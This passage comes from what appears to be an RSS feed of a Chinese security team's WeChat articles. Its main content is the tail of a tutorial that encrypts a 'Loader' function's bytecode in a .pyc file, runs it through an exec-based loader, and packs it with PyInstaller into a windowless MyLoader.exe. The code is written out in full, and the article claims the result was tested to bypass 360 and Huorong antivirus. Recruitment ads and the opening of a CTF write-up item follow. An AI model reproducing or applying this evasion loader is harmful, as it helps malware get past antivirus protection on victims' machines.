创建新的代码对象（保持字节码不变，但更新 consts）</span></span><span leaf=""><br/></span><span leaf="">        new_code_obj = types.CodeType(</span><span leaf=""><br/></span><span leaf="">            code_obj.co_argcount,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_posonlyargcount,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_kwonlyargcount,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_nlocals,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_stacksize,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_flags,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_code,</span><span leaf=""><br/></span><span leaf="">            tuple(new_consts),  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 更新常量</span></span><span leaf=""><br/></span><span leaf="">            code_obj.co_names,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_varnames,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_filename,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_name,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_firstlineno,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_lnotab,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_freevars,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_cellvars</span><span leaf=""><br/></span><span leaf="">        )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> new_code_obj</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> code_obj</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">encrypt_function_in_pyc</span></span><span style="line-height: 26px;"><span leaf="">(input_pyc, output_pyc, func_name, key=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5A</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;加密 .pyc 文件中指定函数的字节码&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;读取: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{input_pyc}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    magic, flags, timestamp, size, code_obj = read_pyc(input_pyc)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;查找函数: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{func_name}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    new_code_obj = modify_function_in_code(code_obj, func_name, encrypt=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">, key=key)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;写入: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{output_pyc}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    write_pyc(output_pyc, magic, flags, timestamp, size, new_code_obj)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 加密指定函数</span></span><span leaf=""><br/></span><span leaf="">    encrypt_function_in_pyc(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;pycStuff.pyc&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;pycStuff_encrypted.pyc&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Loader&#39;</span></span><span leaf="">)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">得到加密后的pycStuff_encrypted.pyc文件，通过pycdc查看加密后python字节码反编译后的结果。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.475" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030385" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=55192ca9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBTibmeCibO3jicAxdkIfWdUzgj0kKCGLhyEnDPicmAtv9ia3fV1DqoOibbS3ZveBM550cnfZL50rH7Jibo3g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">可以发现Loader函数无法正常反编译，已被加密。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">由于pyc文件部分字节码被加密，所以无法直接打包为exe文件，所以需要借助run_loader.py来加载。run_loader.py内容如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">import sys</span><span leaf=""><br/></span><span leaf="">import os</span><span leaf=""><br/></span><span leaf="">import marshal</span><span leaf=""><br/></span><span leaf="">import types</span><span leaf=""><br/></span><span leaf="">def load_and_execute_pyc():</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;加载并执行加密的 .pyc 文件&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 处理 PyInstaller 打包后的路径</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> getattr(sys, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;frozen&#39;</span></span><span leaf="">, False):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 打包后运行</span></span><span leaf=""><br/></span><span leaf="">        base_path = sys._MEIPASS</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 开发环境</span></span><span leaf=""><br/></span><span leaf="">        base_path = os.path.dirname(os.path.abspath(__file__))</span><span leaf=""><br/></span><span leaf="">    pyc_path = os.path.join(base_path, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;pycStuff_encrypted.pyc&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 检查文件是否存在</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> not os.path.exists(pyc_path):</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">print</span></span><span leaf="">(f</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;错误: 找不到文件 {pyc_path}&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        input(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;按回车键退出...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">    try:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 读取 .pyc 文件</span></span><span leaf=""><br/></span><span leaf="">        with open(pyc_path, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rb&#39;</span></span><span leaf="">) as f:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 跳过 .pyc 文件头部</span></span><span leaf=""><br/></span><span leaf="">            magic = f.read(4)</span><span leaf=""><br/></span><span leaf="">            flags = f.read(4)</span><span leaf=""><br/></span><span leaf="">            timestamp = f.read(4)</span><span leaf=""><br/></span><span leaf="">            size = f.read(4)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 加载代码对象</span></span><span leaf=""><br/></span><span leaf="">            code_obj = marshal.load(f)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 执行代码（会自动解密 Loader 函数）</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exec</span></span><span leaf="">(code_obj, {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__name__&#39;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__file__&#39;</span></span><span leaf="">: pyc_path})</span><span leaf=""><br/></span><span leaf="">    except Exception as e:</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">print</span></span><span leaf="">(f</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;执行错误: {e}&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        import traceback</span><span leaf=""><br/></span><span leaf="">        traceback.print_exc()</span><span leaf=""><br/></span><span leaf="">        input(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;按回车键退出...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    load_and_execute_pyc()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过PyInstaller对run_loader.py文件进行打包获得MyLoader.exe。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">python -m PyInstaller --onefile --noconsole --add-data </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;pycStuff_encrypted.pyc;.&#34;</span></span><span leaf=""> --hidden-import=ctypes --name=MyLoader run_loader.py</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实测MyLoader.exe可以过360核晶和火绒等杀软环境。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5333333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030386" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=61088995&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBTibmeCibO3jicAxdkIfWdUzgjLvv4AmtDQbbuTQNT8ibL0TuEpdibakLJ8PLG5d7RZ9C8tXHtIibuicgLxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div data-role="outer" label="Powered by 135editor.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);" data-pm-slice="0 0 []"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f922c90a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514040%26idx%3D1%26sn%3Dddd4c54552593e93426580ef1c75b202">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Dec 2025 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>HKCERT CTF 2025 Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514021&amp;idx=1&amp;sn=09c23efa451e92d4bff5670cfb649062</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2025-12-23 10:14</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4b6eb59d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBTibmeCibO3jicAxdkIfWdUzgjYxj991SkiaZwu0MhPJ4AFYVxq7VRtM6xIxVHQibLrjt7SrlBsw4AfLwQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030366" data-ratio="0.45555555555555555" data-s="300,640" data-type="png" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6b754764&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBTibmeCibO3jicAxdkIfWdUzgjle2oJczK3FrfLn0cYSeFNkUUibEIHpugcSq0kfgQZNKNVoLRmg2KQ2g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-mid="" mpa-is-content="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;text-align: start;caret-color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(0, 128, 255);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5安全团队</span></span></strong></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">成立于2016年，专注于算法加解密、安全漏洞挖掘、CTF竞赛及安全人才培养。至今团队成员有200+人，分别来自阿里、滴滴、启明星辰、绿盟、知道创宇、奇安信、永信至诚、360、陌陌、牛盾、无声信息等安全公司，且也有部分在校学生与自由职业者。</span></span></p><p style="-webkit-tap-highlight-color: 